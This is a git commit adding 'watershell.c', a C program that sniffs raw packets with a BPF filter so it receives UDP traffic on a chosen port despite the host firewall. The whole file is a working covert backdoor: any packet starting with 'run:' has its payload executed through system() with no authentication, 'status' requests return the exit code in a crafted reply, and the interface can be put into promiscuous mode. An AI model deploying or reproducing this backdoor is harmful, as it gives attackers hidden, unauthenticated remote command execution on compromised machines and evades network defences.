commit dcabbe3f42a1fe4658e808a91699497e384d1309 Author: jgeigerm Date: Thu Jul 2 19:26:46 2015 -0400 initial commit diff --git a/watershell.c b/watershell.c new file mode 100755 index 0000000..9dc4c0b --- /dev/null +++ b/watershell.c @@ -0,0 +1,275 @@ +/* + * ===================================================================================== + * + * Filename: watershell.c + * + * Description: run commands through a firewall... yeeaaa + * + * Version: 1.0 + * Created: 07/01/2015 09:10:41 AM + * Revision: none + * Compiler: gcc + * + * Author: Jaime Geiger, jmg2967@rit.edu + * + * ===================================================================================== + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define IFACE "eth0" +#define PORT 12345 +#define PROMISC false + +struct sock_filter bpf_code[] = { + { 0x28, 0, 0, 0x0000000c }, + { 0x15, 0, 6, 0x000086dd }, + { 0x30, 0, 0, 0x00000014 }, + { 0x15, 0, 15, 0x00000011 }, + { 0x28, 0, 0, 0x00000036 }, + { 0x15, 12, 0, 0x00003039 }, //5 + { 0x28, 0, 0, 0x00000038 }, + { 0x15, 10, 11, 0x00003039 }, //7 + { 0x15, 0, 10, 0x00000800 }, + { 0x30, 0, 0, 0x00000017 }, + { 0x15, 0, 8, 0x00000011 }, + { 0x28, 0, 0, 0x00000014 }, + { 0x45, 6, 0, 0x00001fff }, + { 0xb1, 0, 0, 0x0000000e }, + { 0x48, 0, 0, 0x0000000e }, + { 0x15, 2, 0, 0x00003039 }, //15 + { 0x48, 0, 0, 0x00000010 }, + { 0x15, 0, 1, 0x00003039 }, //17 + { 0x6, 0, 0, 0x0000ffff }, + { 0x6, 0, 0, 0x00000000 }, +}; + +void send_status(unsigned char *buf, int code); +void sigint(int signum); +void ip_checksum(struct iphdr *ip); +void udp_checksum(struct iphdr *ip, unsigned short *payload); + +int sockfd; +struct ifreq *sifreq; +bool promisc; + +int main(int argc, char *argv[]) +{ + int i, n, hlen, arg; + struct sock_fprog filter; + char buf[2048]; + unsigned char *read; + char *udpdata, *iface = IFACE; + struct iphdr *ip; + struct udphdr *udp; + unsigned port = PORT; + int code = 0; + + promisc = PROMISC; + + while ((arg = getopt(argc, argv, "phi:l:")) != -1){ + switch (arg){ + case 'i': + iface = optarg; + break; + case 'p': + puts("Running in promisc mode"); + promisc = true; + break; + case 'h': + fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]); + return 0; + break; + case 'l': + port += strtoul(optarg, NULL, 10); + if (port <= 0 || port > 65535){ + puts("Invalid port"); + return 1; + } + break; + case '?': + fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]); + return 1; + default: + abort(); + } + } + + bpf_code[5].k = port; + bpf_code[7].k = port; + bpf_code[15].k = port; + bpf_code[17].k = port; + + sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); + if (sockfd < 0){ + perror("socket"); + return 1; + } + + sifreq = malloc(sizeof(struct ifreq)); + signal(SIGINT, sigint); + strncpy(sifreq->ifr_name, iface, IFNAMSIZ); + if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){ + perror("ioctl GIFFLAGS"); + close(sockfd); + free(sifreq); + return 0; + } + + if (promisc){ + sifreq->ifr_flags |= IFF_PROMISC; + if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1){ + perror("ioctl SIFFLAGS"); + } + } + + filter.len = 20; + filter.filter = bpf_code; + if (setsockopt(sockfd, SOL_SOCKET, SO_ATTACH_FILTER, + &filter, sizeof(filter)) < 0){ + perror("setsockopt"); + } + + for (;;){ + memset(buf, 0, 2048); + n = recvfrom(sockfd, buf, 2048, 0, NULL, NULL); + ip = (struct iphdr *)(buf + sizeof(struct ethhdr)); + udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr)); + udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr))); + if (*udpdata != 0) + printf("%s\n", udpdata); + if (!strncmp(udpdata, "run:", 4)) + code = system(udpdata + 4); + if(!strncmp(udpdata, "status", 6)) + send_status(buf, code); + } + + return 0; +} + +void sigint(int signum){ + if (promisc){ + if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){ + perror("ioctl GIFFLAGS"); + } + sifreq->ifr_flags ^= IFF_PROMISC; + if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1){ + perror("ioctl SIFFLAGS"); + } + } + free(sifreq); + close(sockfd); + exit(1); +} + +struct __attribute__((__packed__)) udpframe { + struct ethhdr ehdr; + struct iphdr ip; + struct udphdr udp; + unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)]; +}; + +void send_status(unsigned char *buf, int code){ + struct udpframe frame; + struct sockaddr_ll saddrll; + struct sockaddr_in sin; + int len = snprintf(NULL, 0, "%d", code); + char *prefix = "LISTENING: "; + char *ccode = (char*)calloc(1, len+1); + char *data = calloc(1, strlen(prefix)+len+2); + snprintf(ccode, len+1, "%d", code); + strncpy(data, prefix, strlen(prefix)); + strncat(data, ccode, len+1); + strncat(data, "\n", 1); + memset(&frame, 0, sizeof(frame)); + if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){ + perror("GIFINDEX"); + return; + } + saddrll.sll_family = PF_PACKET; + saddrll.sll_ifindex = sifreq->ifr_ifindex; + saddrll.sll_halen = ETH_ALEN; + memcpy((void*)saddrll.sll_addr, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN); + memcpy((void*)frame.ehdr.h_source, (void*)(((struct ethhdr*)buf)->h_dest), ETH_ALEN); + memcpy((void*)frame.ehdr.h_dest, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN); + frame.ehdr.h_proto = htons(ETH_P_IP); + frame.ip.version = 4; + frame.ip.ihl = sizeof(frame.ip)/4; + frame.ip.id = htons(69); + frame.ip.frag_off |= htons(IP_DF); + frame.ip.ttl = 64; + frame.ip.tos = 0; + frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(data)); + frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr; + frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr; + frame.ip.protocol = IPPROTO_UDP; + frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest; + frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source; + frame.udp.len = htons(strlen(data) + sizeof(frame.udp)); + //udp_checksum(&frame.ip, (unsigned short*)&frame.udp); + ip_checksum(&frame.ip); + strncpy(frame.data, data, strlen(data)); + len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(data); + sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll)); + free(ccode); + free(data); +} + +//broken? +void udp_checksum(struct iphdr *ip, unsigned short *payload){ + register unsigned long sum = 0; + struct udphdr *udp = (struct udphdr*)payload; + unsigned short len = udp->len; + unsigned short *addr = (short*)ip; + udp->check = 0; + sum += (ip->daddr>>16) & 0xFFFF; + sum += (ip->daddr) & 0xFFFF; + sum += htons(IPPROTO_UDP); + sum += ntohs(udp->len); + while (len > 1){ + sum += *addr++; + len -= 2; + } + if (len > 0) + sum += ((*addr) & htons(0xFFFF)); + while (sum>>16) + sum = (sum & 0xFFFF) + (sum >>16); + sum = ~sum; + udp->check = ((unsigned short)sum == 0x0000) ? 0xFFFF : (unsigned short)sum; +} + + +void ip_checksum(struct iphdr *ip){ + unsigned int count = ip->ihl<<2; + unsigned short *addr = (short*)ip; + register unsigned long sum = 0; + + ip->check = 0; + while (count > 1){ + sum += *addr++; + count -= 2; + } + if (count > 0) + sum += ((*addr) & htons(0xFFFF)); + while (sum>>16) + sum = (sum & 0xFFFF) + (sum >>16); + sum = ~sum; + ip->check = (unsigned short)sum; +}